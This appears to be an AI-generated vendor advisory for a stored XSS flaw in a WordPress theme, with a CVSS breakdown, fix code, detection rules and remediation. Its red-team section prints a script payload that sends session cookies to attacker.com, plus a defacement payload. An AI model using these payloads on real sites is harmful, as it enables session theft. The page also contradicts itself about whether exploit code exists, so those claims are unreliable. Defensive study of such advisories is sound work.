CVE-2024-44010
Executive Summary
CVE-2024-44010 is a Stored Cross-Site Scripting (XSS) vulnerability in the Full Frame WordPress theme developed by Catchthemes. The vulnerability affects all versions up to and including 2.7.2. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into the theme’s input fields, which is then stored and executed in the browsers of other users (including administrators) when they view the compromised page. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as a WordPress ecosystem issue and is not related to the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and no official patch has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Users who installed the theme via the WordPress admin panel or manually uploaded it are at risk. Since the vendor has not provided a patch, the supply chain risk is elevated—users must rely on manual mitigation or theme replacement.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Base Score: 5.1 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Contributor or higher)
- User Interaction: Required (victim must view the compromised page)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all users, including administrators, leading to privilege escalation scenarios.
Deep Dive & Mechanics
The vulnerability resides in the Full Frame theme’s improper neutralization of user-supplied input during web page generation. Specifically, the theme fails to sanitize or escape data in certain custom fields (e.g., post meta, widget options, or theme customizer inputs) before rendering them in the browser. An attacker with Contributor-level access or higher can inject malicious JavaScript into these fields. When an administrator or other user visits the affected page (e.g., a post, page, or widget area), the injected script executes in their browser context.
Attack Flow:
- Attacker logs in with Contributor (or higher) privileges.
- Attacker navigates to a vulnerable input field (e.g., a custom meta box or theme option).
- Attacker injects a payload such as
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When an administrator views the page, the script executes, potentially stealing cookies, performing actions on behalf of the admin, or redirecting to a phishing site.
Root Cause: The theme uses functions like echo get_post_meta(...) or the_meta() without applying esc_html() or wp_kses_post() to sanitize output.
Vulnerable vs. Patched Code
Since no official patch exists, the following shows a typical vulnerable pattern and its secure counterpart.
Vulnerable Code (e.g., in full-frame/functions.php):
<?php
// Vulnerable: directly outputs user-supplied meta value
echo get_post_meta( get_the_ID(), 'custom_subtitle', true );
?>
Patched Code (recommended fix):
<?php
// Patched: escape output before rendering
echo esc_html( get_post_meta( get_the_ID(), 'custom_subtitle', true ) );
?>
Explanation: The vulnerable code outputs raw meta data without escaping, allowing script injection. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing any injected scripts.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Full Frame theme <= 2.7.2.
- Valid user account with at least Contributor role.
Steps:
- Log in to WordPress as a Contributor.
- Create a new post or edit an existing one.
- In a custom field (e.g., "Subtitle" or "Tagline"), inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Publish or save the post.
- Wait for an administrator to view the post. The script will execute, sending the admin’s session cookie to the attacker’s server.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Red Team</h1>';</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual post meta updates by low-privilege users.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Scan the database for suspicious entries in
wp_postmeta:SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
Hardening:
- Apply the patched code manually (see Vulnerable vs. Patched Code section).
- Restrict user roles: do not grant Contributor access to untrusted users.
- Install a security plugin (e.g., Wordfence) with XSS protection rules.
- Disable unused custom fields or theme options that accept user input.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains containing
?cookie=or similar parameters. - Host: Presence of
<script>tags inwp_postmetatable entries. - File: Modified theme files (e.g.,
functions.php) containingechowithoutesc_html(). - Log: WordPress debug log entries showing unexpected JavaScript execution errors.
Detection Engineering
YARA Rule
rule Detect_Stored_XSS_FullFrame {
meta:
description = "Detects stored XSS payloads in Full Frame theme meta fields"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-44010"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$meta_field = /custom_subtitle|tagline|featured_text/i
condition:
$xss_payload and $meta_field
}
Sigma Rule
title: Stored XSS in Full Frame Theme
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via custom meta fields in Full Frame theme
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body: 'meta_input*'
filter:
http.body: 'sanitize*'
condition: selection and not filter
falsepositives:
- Legitimate use of HTML in meta fields (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-44010 Stored XSS in Full Frame Theme"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"meta_input"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Full Frame theme and switch to a secure alternative (e.g., a default WordPress theme like Twenty Twenty-Four).
- Manually patch the vulnerable theme files by adding
esc_html()to all output functions that display user-supplied data (see Vulnerable vs. Patched Code section). - Audit user roles and remove any unnecessary Contributor or Author accounts.
Long-Term Fix:
- Monitor the Catchthemes website for an official patch. If none is released, consider replacing the theme permanently.
- Implement a Content Security Policy (CSP) header to mitigate XSS impact:
Header set Content-Security-Policy "script-src 'self';" - Regularly update all WordPress components and use a security plugin with real-time threat detection.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defensive purposes only.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.